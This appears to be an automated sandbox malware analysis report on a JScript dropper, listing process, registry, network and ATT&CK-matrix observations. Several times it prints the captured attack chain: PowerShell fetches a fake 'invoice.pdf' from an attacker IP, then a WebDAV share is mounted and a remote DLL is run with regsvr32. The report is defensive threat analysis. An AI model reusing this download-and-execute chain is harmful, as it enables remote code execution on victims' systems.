Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7025.js.csv");ITextStream.WriteLine(" entry:8350 f:fsrvcmopx");ITextStream.WriteLine(" exec:2 f:fsrvcmopx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 61226 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 61226

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3733			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6122			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2644	Thread sleep count: 3733 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5660	Thread sleep count: 6122 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5916	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3532	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5904	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3500	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 0000000B.00000002.3578620466.000002226D02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000009.00000002.2518640700.000001F0B6B8F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2518640700.000001F0B6B28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3580003472.0000022272854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3579961856.0000022272842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
